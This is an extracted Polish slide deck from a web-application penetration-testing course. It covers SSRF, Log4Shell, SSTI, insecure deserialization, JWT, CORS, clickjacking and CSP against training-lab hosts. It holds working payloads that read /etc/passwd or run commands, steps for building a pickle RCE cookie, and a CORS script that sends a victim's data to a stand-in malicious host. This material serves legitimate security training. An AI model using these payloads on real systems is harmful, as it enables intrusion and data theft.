kamil.jarosinski@securitum.pl
Kamil Jarosiński
pentester i trener w Securitum: web, iot, cloud, mobile
prelegent MSHP i Cyberstarter
autor Wprowadzenie do bezpieczeństwa IT tom 2
szkolenia.sekurak.pl
securitum.pl
hackingparty.pl
ksiazka.sekurak.pl
Sekurak.Academy
> 10 150 uczestników
https://notepad.lab-08.securitum.net/
Chciał(a)bym poszerzyć wiedzę w ofensywnym bezpieczeństwie aplikacji webowych
Przed rozpoczęciem wykonywania aktywnych czynności, warto przeprowadzić rekonesans pasywny.
Jest on również często przydatny w omijaniu systemów WAF.
Zgodnie z założeniami, informacje pozyskiwane są bez wchodzenia w interakcję z atakowanym serwisem.
Co uruchomione jest na hoście poza samą aplikacją webową?
Czy na serwerze nie pozostały zostawione inne, np. domyślne pliki?
Confluence login bypass
https://blog.s1r1us.ninja/research/brokenconflu
Przykład:
/setup/setupdb.action?dbConfigInfo.databaseType=postgresql
/sekurak.action?jeden.dwa=wtf
getJeden().setDwa()="wtf"
Aby ustawić tryb setup, należy wywołać metodę:
getBootstrapStatusProvider().getApplicationConfig(). setSetupComplete(false);
W tym celu, wystarczy przesłać żądanie do dostępnego cały czas endpointu /server-info.action:
/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false;
Wyciek danych logowania do bazy danych
Dostęp do MySQL Joomla
1. Użyj rozszeżenia log4shell-everywhere
https://log4j.lab-08.securitum.net
2. Wstrzyknij złośliwy payload Log4shell, powodujący interakcję DNS z collaboratorem
3. Spróbuj wykonać RCE na serwerze, tworząc plik w folderze /tmp/
Z podatnością Server-Side Request Forgery mamy styczność, gdy aplikacja pozwala nam na podanie adresu URL do pobrania jakiegoś zasobu z sieci.
Typowy przykład to pobranie obrazka z zewnętrznego źródła.
Wówczas możemy spróbować wykorzystać ten fakt do pobrania danych z sieci lokalnej, w której działa aplikacja. Np.
Aplikacje często próbują się bronić przed atakiem, stosując kilka typowych filtrów. Np. wykrywają czy nazwa hosta w adresie URL to 127.0.0.1.
Jednakże wszystkie poniższe adresy też wskazują na 127.0.0.1!
Kolejna przydatna sztuczka: jeśli aplikacja pozwala na wpisanie własnego adresu URL, spróbujmy użyć protokołu file:///.
file:///etc/passwd daje nam path traversal!
Jeśli aplikacja oczekuje pliku obrazka, może sprawdzać, czy adres URL kończy się na ".jpg".
Wówczas możemy nadużyć znaków # oraz ? w adresie URL, by dostać się do plików o innych rozszerzeniach.
https://ships.lab-08.securitum.net
1. Znajdź w aplikacji podatny parametr
2. Pobierz zawartość pliku /etc/passwd za pomocą SSRF
3. Za pomocą XXE i SSRF spróbuj połączyć się z siecią lokalną, np. hostem o adresie: database1
Powiedz, czy jest uruchomiona jakaś baza danych?
Aby ułatwić sobie wyszukiwanie błędów typu SSRF, można zaimportować do Burpa dodatkową wtyczkę -
Gdy jest ona włączona i odwiedzana aplikacja została dodana do listy "targets", to domena collaboratora zostanie wstrzyknięta do każdego nagłówka HTTP w zapytaniu (i zostaną dodane również inne nagłówki)
Błąd SSRF można bardzo często łączyć z innymi, w tzw. kill-chain
Takie zachowanie, pozwala na zwiększenie poziomu ryzyka błędu, np. z "LOW" do "CRITICAL" ;-)
Błąd Open Redirect pozwala na przekierowanie użytkownika odwiedzającego stronę A, do strony B
Samodzielnie, mało istotny błąd - przydatny np. w phishingu
PoC:
https://meet.google.com/linkredirect?dest=https://sekurak.pl/
Collaborator Everywhere również przydaje się w wyszukiwaniu Open Redirect :)
W połączeniu z błędem SSRF, może jednak stanowić ciekawą i praktyczną kombinację
SSRF samo w sobie nie pozwala na RCE
Natomiast, znajdując inną podatność w lokalnej sieci lub na lokalnym hoście, czasami możliwe jest wykonanie kodu na (często innym, lokalnym) serwerze
Przykład - Shellshock
źródło: https://www.infosecarticles.com/exploiting-shellshock-vulnerability/
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
Na pierwszy rzut oka, błąd ten może zostać pomylony z Reflected XSS
$output = $twig->render("Dear " . $_GET['name']);http://sekurak.pl/?name=${3*7}
Dear 21
To oznacza, że (prawdopodobnie) mamy SSTI
detekcja
identyfikacja
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} = Nic
Niektóre silniki template wykorzystują tzw. "sandbox", do wyizolowania środowiska template, od środowiska języka programistycznego
Przykładowe silniki z sandboxem:
Jinja2 (Python)
Twig (PHP)
Freemarker (Java)
Aby "wyskoczyć" z sandboxu konieczny jest "powrót" do pełnego środowiska danego języka;
Aby to zrobić, należy wykorzystać obiekty, które pochodzą ze środowiska innego niż piaskownica, ale są dostępne z poziomu piaskownicy.
1. Zawsze dostępne są obiekty:
[]
''
()
dict
config
request2. Z nich, możemy odwołać się do "głównej" klasy, i następnie do subklas tego obiektu (metoda __subclasses__)
np.
{{dict.__subclasses__}}{{''.__class__.__base__.__subclasses__()}}3. I finalnie, odwołać się do środowiska Python...
{{ ''.__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
(podpowiedź - wykorzystaj payloady, pozwalające na enumerację, i wykorzystaj Google ;-). )
https://ships.lab-08.securitum.net
https://ssti.lab-08.securitum.net
https://github.com/epinna/tplmap
W których znane sposoby na wyskoczenie z sandboxu zostały naprawione
ale jeśli tego nie da się uniknąć, to:
źródło: https://portswigger.net/web-security/deserialization
Potencjalnie umożliwia to atakującemu manipulowanie serializowanymi obiektami w celu przekazania szkodliwych danych do kodu aplikacji.
Możliwe jest nawet zastąpienie serializowanego obiektu obiektem zupełnie innej klasy.
W zależności od wykorzystanego języka aplikacji, zserializowane dane wyglądają inaczej.
W przypadku PHP, może to wyglądać następująco:
O:4:"User":2{
s:5:"login":s:7:"sekurak";
s:5:"email":s:18:"sekurak@sekurak.pl";
}
I przesłane do aplikacji, np. zakodowane w base64...
W przypadku wykorzystania niebezpiecznej deserializacji, możliwe jest na przykład wpływanie na funkcjonalności aplikacji, zmieniając właściwości obiektu
Na przykład - w wyniku podmiany zserializowanych parametrów, możliwa jest zmiana danych innych użytkowników
W programowaniu obiektowym metody dostępne dla obiektu są określane na podstawie jego klasy.
Jeżeli możemy manipulować klasą obiektu przekazywaną jako serializowane dane, może mieć wpływ na to, jaki kod zostanie wykonany podczas deserializacji.
To powoduje, że możliwe jest wysłanie dowolnego obiektu, który zostanie zdeserializowany - pozwalając na odwołanie się do dowolnej klasy aplikacji ;-)
Czasami również okazuje się, że nie ma znaczenia, że aplikacja akceptuje inny typ obiektu niż przesłany- złośliwy kod może zostać wykonany przed przetworzeniem go przez logikę aplikacji
(może spowodować wyjątek w logice aplikacji, ale do tego czasu instancja szkodliwego obiektu będzie już utworzona.)
Krok 1. Domyślna instalacja biblioteki web2py, zawiera stronę z przykładami
Co to oznacza?
Krok 2. Ciasteczko sesyjne budowane jest z użyciem biblioteki do serializacji Pickle
Krok 3. Sprawdźmy, jak budowane jest ciasteczko, i stwórzmy swoje - specjalne ;-)
Funkcja, która zostanie wykonana na serwerze po deserializacji ciasteczka
web2py wykorzystuje funkcję gluon.utils.secure_dumps do zbudowania ciasteczka
i zaszyfrowania kluczem, który jest nam znany :)
1. Zaloguj się via ssh (macos/ Linux - w terminalu), Windows - putty, do adresu lab-08.securitum.net
login: lab
hasło: w notatce
2. Wejdź do katalogu web2py i skopiuj plik EXPLOIT.py do swojego pliku, aby nie popsuć zabawy innym ;-)
3. Przeanalizuj kod źródłowy exploita, i spróbuj zmodyfikować go, aby wywołać komendę wymuszającą połączenie z Twoim collaboratorem - lub inne RCE :-).
cp /tmp/EXPLOIT.py mojakopia.py
jeżeli nie możesz (brak putty) - daj proszę znać!
4. Skompiluj payload, generując ciasteczko
python2.7 mojakopia.py
5. Odwiedź podatną stronę examples w przeglądarce
6. Wstrzyknij własną wartość ciasteczka do ciasteczka
session_data_examples=
https://deser.lab-08.securitum.net/examples/simple_examples/status
Czy macie pomysł, co to jest "gadget" w świecie pentestów web?
(podpowiedź: podobny mechanizm był wykorzystywany już podczas exploitacji SSTI)
„Gadżet” to fragment kodu znajdujący się w aplikacji, który może pomóc atakującemu w exploitacji.
Pojedynczy gadżet może bezpośrednio nie powodować niczego szkodliwego; jednak celem atakującego może być po prostu wywołanie metody, która przekaże dane wejściowe do innego gadżetu.
W skrócie:
Mamy możliwość odwołania się do "łańcucha klas" we frameworku aplikacji, w celu wywołania "złośliwej" klasy
Lub inaczej:
Wyszukujemy w wykorzystywanym frameworku aplikacji funkcji, która może wywołać inną, niebezpieczną
Pojedyncze gadżety można łączyć, w celu utworzenia "łańcucha gadżetów"...
...co bez dodatkowych narzędzi może być bardzo skomplikowane.
Na szczęście, mamy do tego narzędzia
Ysoserial to biblioteka zawierająca pre-budowane łańcuchy gadgetów w różnych frameworkach/ bibliotekach wykorzystywanych w aplikacjach Java
Z jej użyciem, możliwe jest utworzenie zserializowanego gadżetu, który następnie może zostać przesłany do podatnej aplikacji
co przy odrobinie szczęścia - pozwoli na wykonanie na serwerze dowolnej komendy ;-)
https://github.com/frohoff/ysoserial/tree/master
"Java Deserialization Scanner"
PHPGGC to biblioteka podobna do Java - z tą różnicą, że zawiera zestaw gadgetów do PHP :-)
https://github.com/ambionics/phpggc
1. Oddawanie użytkownikowi kontroli nad danymi, które są następnie deserializowane, nie powinno mieć miejsca, ze względu na mnogość exploitów i zagrożeń
2. Jeżeli mimo wszystko jest taka konieczność, to warto wdrożyć podpisywanie zserializowanych danych (np. hmac)
3. Należy pamiętać o konieczności weryfikacji podpisu zanim nastąpi deserializacja danych!
Czym się różni uwierzytelnienie (ang. authentication) od autoryzacji (ang. authorization)?
Np.
Set-Cookie: PHPSESSID=auekvo38sf293223
Set-Cookie: PHPSESSID=auekvo38sf293224
Set-Cookie: PHPSESSID=auekvo38sf293225
Siłę ciastek sesyjnych możemy sprawdzić modułem Sequencer w Burpie.
Przykładowo:
Np. test/test, admin/admin, admin/Test1234 itp.
Np. możliwość zgadywania hasła dla danego użytkownika nieskończoną liczbę razy (Burp Intruder)
http://example.com/faktura?id=1337
http://example.com/faktura?id=1335
Np. nie mamy dostępu do
/pobierz-umowe.php?id=1...
Ale mamy do /umowy/1.pdf ;-)
/get-user?id=44
/delete-user?id=44
http://ships.lab-08.securitum.net
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAxODkxODAxNjcyLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjE1OyBydjoxMjAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjAuMCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzAxODkxODAyfQ.BNzs4_X2X4UmFjkPImzAGSQj4WMD5daXCfl0afeU_bU
Sekcja 1. informacja o wykorzystanym algorytmie do podpisania danych
Po odkodowaniu z base64url:
{"typ":"JWT","alg":"HS256"}
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAxODkxODAxNjcyLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjE1OyBydjoxMjAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjAuMCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzAxODkxODAyfQ.BNzs4_X2X4UmFjkPImzAGSQj4WMD5daXCfl0afeU_bU
Sekcja 2. payload (dane o użytkowniku i jego uprawnieniach)
Po odkodowaniu z base64url:
{"auth":1701891801672,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0","role":"user","iat":1701891802}
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAxODkxODAxNjcyLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjE1OyBydjoxMjAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjAuMCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzAxODkxODAyfQ.BNzs4_X2X4UmFjkPImzAGSQj4WMD5daXCfl0afeU_bU
Sekcja 3. podpis wygenerowany z użyciem algorytmu z sekcji 1
Po odkodowaniu z base64url:
BNzs4__eøRacò&ÌB>0>]ipFy_bU
{"typ":"JWT","alg":"HS256"}Podpis = SHA256( SHA256 (payload + sekret) + sekret)
http://jwt.lab-08.securitum.net
Więcej problemów z JWT opisaliśmy w mini-rozdziale na Sekuraku:
{"variables": {"scheme": "http", "path": "/", "port": 80, "host": "aaa.com"},
"query":
"mutation ImportPaste($host: String!, $port: Int!, $path: String!, $scheme: String!)
{\n importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\n result\n }\n}"}https://github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt
https://graphql-kit.com/graphql-voyager/
zapytanie o niepoprawne query
aplikacja sama sugeruje, co możemy chcieć wywołać
Obiekt "pastes" może odwołać się do "owner", a obiekt "owner" do "pastes" - i tak bez końca...
https://graphql.lab-08.securitum.net
Jeden z głównych mechanizmów stanowiących podstawę bezpieczeństwa przeglądarek i użytkownika - rok 1995
Przeglądarka pozwala skryptom z jednego kontekstu JavaScriptu dostać się do drzewa DOM innego kontekstu JavaScriptu wtedy i tylko wtedy, gdy oba konteksty znajdują się w tym samym originie.
W skrócie: skrypt uruchomiony na jednej stronie internetowej nie ma domyślnie dostępu do zasobów innej strony internetowej, co pomaga zapobiec atakom typu cross-site scripting (XSS) oraz ochronić prywatność użytkowników
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://test.com Access-Control-Allow-Credentials: true Cache-Control: max-age=300, s-maxage=300, public Date: Wed, 06 Dec 2023 01:27:55 GMT
Pozwalamy zaufanej aplikacji (https://test.com) na dostęp do danych naszej
Oraz na wysyłanie ciasteczek sesyjnych w zapytaniach międzydomenowych
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true Cache-Control: max-age=300, s-maxage=300, public Date: Wed, 06 Dec 2023 01:27:55 GMT
GET /sensitive-data HTTP/1.1 Host: podatna-aplikacja.com
Origin: https://evil.com
Cookie: sessionid=...Jeżeli do zapytania HTTP zostanie dodany nagłówek "Origin" z pewną domeną...
...to jej nazwa zostaje automatycznie dodana do wartości nagłówka Access-Control-Allow-Origin
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText; };
"Przecież nie klikałem/am tej subskrypcji!"
Clickjacking to atak polegający na wczytaniu w ramce niewidzialnej strony, otwartej na innej
Użytkownik zostaje nakłoniony do kliknięcia w pewien przycisk na "widocznej" stronie...
...W tym miejscu, w którym na "niewidocznej" znajduje się przycisk wykonujący jakąś akcję
źródło: https://portswigger.net/web-security/clickjacking
Od strony technicznej, atak ten polega na nakłonieniu ofiary do otwarcia strony (podobnie jak w przypadku CSRF);
Strona docelowa przykryta jest stroną wczytaną w iframe (opacity 0%), na której akcję chcemy wywołać
Użytkownik, myśląc że klika prawidłowy przycisk - wywołuje akcję na złej stronie
Tokeny anty-CSRF nie zabezpieczają aplikacji przed tym atakiem - strona wczytana w ramce jest poprawna, i zapytania wysłane do niej również!
Aby uniemożliwić wczytanie aplikacji w ramce, odpowiedzi HTTP powinny zawierać nagłówek
X-Frame-Options: deny
Jeżeli chcemy pozwolić na to, ale tylko temu samemu originowi, to:
X-Frame-Options: sameorigin
Lub dowolnej zaufanej stronie:
X-Frame-Options: allow-from https://blabla.com
Sekurak.pl nie posiada nagłówka X-Frame-Options:
można więc go wczytać w ramce
Securitum.pl korzysta z tego nagłówka:
strona nie zostanie wczytana
na przykład, wsparcia nie ma Safari 12 oraz Chrome 76
Content Security Policy (CSP) jest mechanizmem bezpieczeństwa działającym na poziomie przeglądarek, którego celem jest ochrona przed skutkami podatności działających po stronie przeglądarki (np. podatności Cross-Site Scripting).
Ograniczenie to ma zapobiegać atakom XSS, które dołączają do źródeł strony skrypty doczytywane z innych lokalizacji sieciowych.
źródło: https://www.imperva.com/learn/application-security/content-security-policy-csp-header/
Między innymi:
script-src - wskazanie konkretnych URI, z których skrypty mogą zostać pobrane.
Przykład:
Content-Security-Policy: script-src 'self' http://cdn.greatstuff.serv
Ta dyrektywa pozwala na wczytywanie skryptów wyłącznie z http://sekurak.pl oraz ze swojego serwera (dyrektywa 'self')
Gdy znajdziemy w aplikacji XSS który spróbuje wczytać skrypt z adresu https://malicious.code -> atak nie powiedzie się
connect-src - dyrektywa odpowiedzialna za wszelakie połączenia:
frame-src - z jakich adresów można wczytywać strony w ramce, w aktualnej aplikacji?
font-src, media-src, style-src, img-src - definicja źródeł, z których można pobrać czcionki, elementy video lub audio, arkusze CSS oraz obrazy
report-uri - adres, na który zostanie przesłany raport informujący o naruszeniu CSP
Raportowanie odbywa się poprzez wysyłanie przez przeglądarkę żądania metodą POST:
Istnieje możliwość poluzowania reguł CSP z użyciem dyrektyw unsafe-inline oraz unsafe-eval, zamiast 'self'.
unsafe-inline zezwala przeglądarce na wykonanie kodu JavaScript, znajdującego się:
Istnieje możliwość poluzowania reguł CSP z użyciem dyrektyw unsafe-inline oraz unsafe-eval, zamiast 'self'.
unsafe-eval dopuszcza możliwość wykonywania następujących wbudowanych funkcji języka JavaScript:
eval("alert(1)"); jest równoznaczne z alert(1);
setTimeout() oraz setInterval(), które jako swój pierwszy argument także mogą przyjąć ciąg znaków i zinterpretują go jako kod JS
https://csp-evaluator.withgoogle.com/
https://report-uri.com/home/generate
Przykład z audytu aplikacji mailowej Protonmail
1. Nieszczelna polityka CSP, pozwala na wczytanie JavaScript zapisanego lokalnie w elmencie "blob"
2. Udało mi się znaleźć możliwość wstrzyknięcia kodu JS, poprzez dodanie do załącznika w mailu payloadu XSS udającego obrazek
3. Gdy użytkownik otwiera załącznik, jest on wczytywany jako element blob - wraz z kodem JavaScript
...Czyli dlaczego nie mogę otworzyć mojej aplikacji z użyciem http://?
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Encoding: gzip
Content-Length: 3166
Content-Type: text/html; charset=UTF-8
Date: Thu, 27 Jun 2013 17:19:07 GMT
Strict-Transport-Security: max-age=2592000; includeSubDomains
X-Content-Type-Options: nosniff
x-frame-options: Deny
Domeny zgłoszone do list preload domyślnie zapisane są w źródłach popularnych przeglądarek WWW
kamil.jarosinski@securitum.pl